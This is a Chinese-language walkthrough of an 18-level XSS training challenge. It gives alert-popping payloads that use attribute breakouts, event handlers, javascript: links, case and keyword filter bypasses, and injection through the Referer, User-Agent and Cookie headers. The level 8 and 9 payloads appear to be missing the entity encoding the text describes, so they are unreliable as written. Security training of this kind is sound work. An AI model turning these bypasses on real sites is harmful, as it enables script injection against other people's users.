xss平台网址:test.ctf8.com
过关条件:只有能够跳出完成得不错得提示框,即为过关
level1
第一关没啥好说得,入门题
payload
<script>alert('abc')</script>
level2
该题通过查看网页源码可以看出,该题将我们输入得内容插入到value标签中
那么我们可以通过在输入得内容前加入">去闭合value标签成功弹窗
payload
"><script>alert(1)</script>
level3
这道题通过网页源码可以看出,<>被转义了,"无法被闭合
那么我们就可以在iinput标签内添加一个事件,可选比如说onclick,onfocus等,我们需要在构造得payload前加'(单引号)去闭合之前得value标签,在尾部加上//注释掉后面的'>,写完payload后要点击输入框触发事件
payload
' onfocus=alert('abc')//
level4
这道题和上一关差不多,唯一区别就是value后面为"(双引号),将其上一题的payload前面单引号改为双引号即为该题payload
payload
" onfocus=alert('abc')//
level5
这道题将script以及onclick和onerror都过滤掉了,那么我们还要另一种方法a标签,构造好payload后点击链接就能成功弹窗了
payload
"><a href="javascript:alert('abc')">//
level6
这道题主要为将script过滤,html对大小写要求不是很严格,可以将script全部转化为大写来进行绕过,另外通过网页源码可以知道,该题将我们输入的payload插入到value标签中,可以在前面加上">来对其进行闭合
payload
"><SCRIPT>alert('abc')</SCRIPT>
level7
这道题和上一道题差不多,不过这道题过滤了其大小写,我们无法通过大小写绕过,当时我们可以利用sql注入的堆叠方法来对其进行绕过
payload
"><scrscriptipt>alert(1)</scrscriptipt>//
level8
这道题和上两道题差不多,不过这道题过滤更为严格,只能通过将script转化为heml实体化来进行绕过
payload
javascript:alert('abc')
level9
通过查看网页源码可以知道这道题和上一道差不多,不过这道题需要输入的格式为网址格式,且这道题把双引号也过滤了所以我们需要将双引号也转化为html实体
payload
javascript:alert("http://")
level10
通过查看网页源码可以看到有几个type=hidden的输入框,我们可以通过onclick去触发该弹窗
payload
http://test.ctf8.com/level10.php?t_sort=" type="text" onclick="alert('abc')"
level11
这道题通过查看网页源码可以看到有几个type=hidden的输入框,但是在像上一题做的时候就始终无法使得输入框改变type,在看了一下大佬的wp之后,发现该题是需要抓包的
这里需要将cookie改为Referer,并在里面输入
" type="text" onclick="alert('abc')
改完之后页面就会出现一个输入框,点击输入框触发该onclick就可以了
level12
这道题思路和上道题差不多,通过查看网页源码可以看到有几个type=hidden的输入框
同时也可以判断出该input标签藏在User-Agent中,修改User-Agent
" type="text" onclick="alert('abc')
改完之后页面就会出现一个输入框,点击输入框触发该onclick就可以了
level13
这道题思路和上俩题思路差不多,也是通过查看网页源码判断input标签所在的位置
可以看到这次input标签位置应该在cookie上,修改cookie
" type="text" onclick="alert('abc')
改完之后页面就会出现一个输入框,点击输入框触发该onclick就可以了
level14
这一关主要为利用exif xss漏洞来实现,但是该题中的链接已经失效了,所以无法做该题
先主要来理解一下EXIF,百度百科一下
可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。
Exif可以附加于JPEG、TIFF、RIFF等文件之中,为其增加有关数码相机拍摄信息的内容和索引图或图像处理软件的版本信息。
大概意思就是利用图片属性来编写xss的payload,在文件上传图片后,浏览器会读取到图片属性从而实现xss弹窗
这里有俩个来自大佬的链接,方便理解exif xss漏洞
(8条消息) 讲讲EXIF Viewer XSS漏洞的来龙去脉_→_→-CSDN博客https://blog.csdn.net/weixin_39934520/article/details/107068825【巨人肩膀上的矮子】XSS挑战之旅---游戏通关攻略(更新至18关) - 先知社区 (aliyun.com)
https://xz.aliyun.com/t/1206?accounttraceid=74ab404d-2a01-4a1c-8b87-36ad367dbe11#toc-12
level15
这道题主要用的是另一个新的知识点:angularJS ng-include指令
通过去菜鸟教程查询关于ng-include
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include
属性的值可以是一个表达式,返回一个文件名。默认情况下,包含的文件需要包含在同一个域名下。
通过查看网页源码可以看到我们需要利用ng-include指令来过关
通过构造payload,将level1传进去从而实现弹窗
不过该题我一直在尝试,一直没出现弹窗,不知道是什么原因导致
level16
这道题主要把script和空格都过滤改写了,我们可以通过改写payload来对其进行测试,因为该题将空格改写,所以我们需要利用html编码,将空格替换成%0a去进行测试
payload
<img%0asrc="x"%0aonerror=alert('abc')>
level17
对这道题进行测试,并查看该网页代码,发现该题将我们输入的的内容插入到embed标签内,并且双引号给过滤替换掉了,所以我们可以换种思路,利用on事件去触发
payload
onmouseover=alert('abc')
level18
这道题和上一道题一模一样,连payload都是一样的
payload
onmouseover=alert('abc')